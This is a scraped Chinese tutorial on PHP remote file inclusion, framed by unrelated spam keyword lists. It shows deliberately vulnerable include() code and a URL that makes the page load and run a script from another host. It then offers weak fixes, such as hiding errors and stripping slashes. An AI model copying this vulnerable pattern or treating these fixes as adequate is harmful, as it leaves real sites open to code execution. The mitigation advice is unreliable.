一区二区久久-一区二区三区www-一区二区三区久久-一区二区三区久久精品-麻豆国产一区二区在线观看-麻豆国产视频

PHP 網(wǎng)絡(luò)開發(fā)詳解之遠(yuǎn)程文件包含漏洞

以下代碼(Code)實(shí)現(xiàn)了根據(jù)瀏覽器地址欄參數(shù)的文件名稱包含不同文件的功能。
復(fù)制代碼 代碼如下:
<?php
$file_name = $_GET["filename"]; //獲得當(dāng)前文件名
include("$file_name "); //包含文件
//一些其他操作
?>

這時(shí),通過(guò)在地址欄上指定不同的文件名就可以實(shí)現(xiàn)包含不同文件并執(zhí)行的功能。例如,通過(guò)在瀏覽器上訪問(wèn)http://localhost/test.php?filename=myinc.php就可以在代碼(Code)中包含并執(zhí)行myinc.php文件。
由于上面的代碼(Code)沒(méi)有進(jìn)行任何錯(cuò)誤處理,在瀏覽器上不加參數(shù)運(yùn)行,所以將得到以下運(yùn)行結(jié)果。
Warning: include(.php) [function.include]: failed to open stream: No such file or directory in C:/Program Files/xampp/htdocs/Bugs/test6.php on line 3
Warning: include() [function.include]: Failed opening '.php' for inclusion (include_path='.;C:/Program Files/xampp/php/pear/') in C:/Program Files/xampp/htdocs/Bugs/test6.php on line 3
訪問(wèn)者通過(guò)讀取這段錯(cuò)誤信息,可以得知當(dāng)前的操作是一個(gè)文件包含操作。這時(shí),可以在自己的服務(wù)器上放置一個(gè)相應(yīng)的腳本代碼。需要注意的是php在獲取遠(yuǎn)程文件時(shí)獲得的是遠(yuǎn)程服務(wù)器的最終輸出結(jié)果,而不是文件本身。該腳本代碼位于192.168.0.1服務(wù)器上,文件名為hello.txt,腳本代碼(Code)如下所示。
復(fù)制代碼 代碼如下:
<?php
echo "hello world!";
?>

這時(shí),通過(guò)在瀏覽器中訪問(wèn)http://localhost/test.php?filename=http://192.168.0.1/hello.txt就可以運(yùn)行hello.txt中的腳本了。
為了解決這個(gè)問(wèn)題,一種方式是完善代碼的錯(cuò)誤信息,使訪問(wèn)者無(wú)法知道當(dāng)前腳本正在包含參數(shù)中指定的文件。修改后的代碼(Code)如下所示。
復(fù)制代碼 代碼如下:
<?php
$file_name = $_GET["filename"]; //獲得當(dāng)前文件名
if(!@include("$file_name.php")) //包含文件
{
die("頁(yè)面在瀏覽過(guò)程中出現(xiàn)錯(cuò)誤");
}
//一些其他操作
?>

修改后,如果在被包含的文件無(wú)法找到時(shí)將出現(xiàn)“頁(yè)面在瀏覽過(guò)程中出現(xiàn)錯(cuò)誤”的錯(cuò)誤信息,訪問(wèn)者將無(wú)法獲得當(dāng)前頁(yè)面的具體操作信息。
第二種方式可以更加有效地防止遠(yuǎn)程文件包含攻擊。方式是替換地址欄參數(shù)中的斜線“/”。這樣,在地址欄參數(shù)中輸入遠(yuǎn)程文件地址時(shí),代碼將無(wú)法正確地獲得參數(shù)。修改后的代碼(Code)如下所示。
復(fù)制代碼 代碼如下:
<?php
$file_name = str_replace('/', '', $_GET["filename"]); //獲得當(dāng)前文件名
if(!@include("$file_name.php")) //包含文件
{
die("頁(yè)面在瀏覽過(guò)程中出現(xiàn)錯(cuò)誤");
}
//一些其他操作
?>

這樣,在瀏覽器中訪問(wèn)http://localhost/test.php?filename=http://192.168.0.1/hello.txt 時(shí),實(shí)際上php代碼(Code)獲得的包含文件名稱是http:192.168.0.1bugstest6_test。頁(yè)面將不會(huì)包含遠(yuǎn)程文件,并顯示相應(yīng)的錯(cuò)誤信息。

php技術(shù)PHP 網(wǎng)絡(luò)開發(fā)詳解之遠(yuǎn)程文件包含漏洞,轉(zhuǎn)載需保留來(lái)源!

鄭重聲明:本文版權(quán)歸原作者所有,轉(zhuǎn)載文章僅為傳播更多信息之目的,如作者信息標(biāo)記有誤,請(qǐng)第一時(shí)間聯(lián)系我們修改或刪除,多謝。

主站蜘蛛池模板: 唐人社电亚洲一区二区三区 | 日韩一区二区三区免费视频 | 久久99爱爱 | 婷婷99精品国产97久久综合 | 综合免费一区二区三区 | 在线观看免费视频网站色 | 激情六月婷婷开心丁香开心 | 五月天丁香婷婷开心激情五月 | 91免费福利精品国产 | 成人a级大片 | 四虎影视在线永久免费观看 | 亚洲图片偷拍区 | 伊人国产在线播放 | 精品国产一区二区三区四 | 色天天综合色天天碰 | 图片区小说区区国产明星 | 91亚洲区国产区精品区 | 婷婷六月久久综合丁香可观看 | 日日噜噜夜夜躁躁狠狠 | 久久网站免费 | 国产精品亚洲国产三区 | 2021国产精品自产拍在线 | 国内自拍视频在线看免费观看 | 久久伊人成人网 | 九九99久久精品午夜剧场免费 | 国内精品久久久久久野外 | 国产精品免费观看视频 | 99毛片| 亚洲国产精品线在线观看 | 久久精品国产亚洲麻豆 | 一区二区三区不卡在线观看 | 天天天操天天天干 | 久久精品亚瑟全部免费观看 | 国产特黄1级毛片 | 草草精品视频 | 欧美日在线观看 | 在线观看一区二区三区四区 | 亚洲黄区 | 国内久久久久久久久久 | 精品久久中文字幕有码 | 99精品视频在线这里只有 |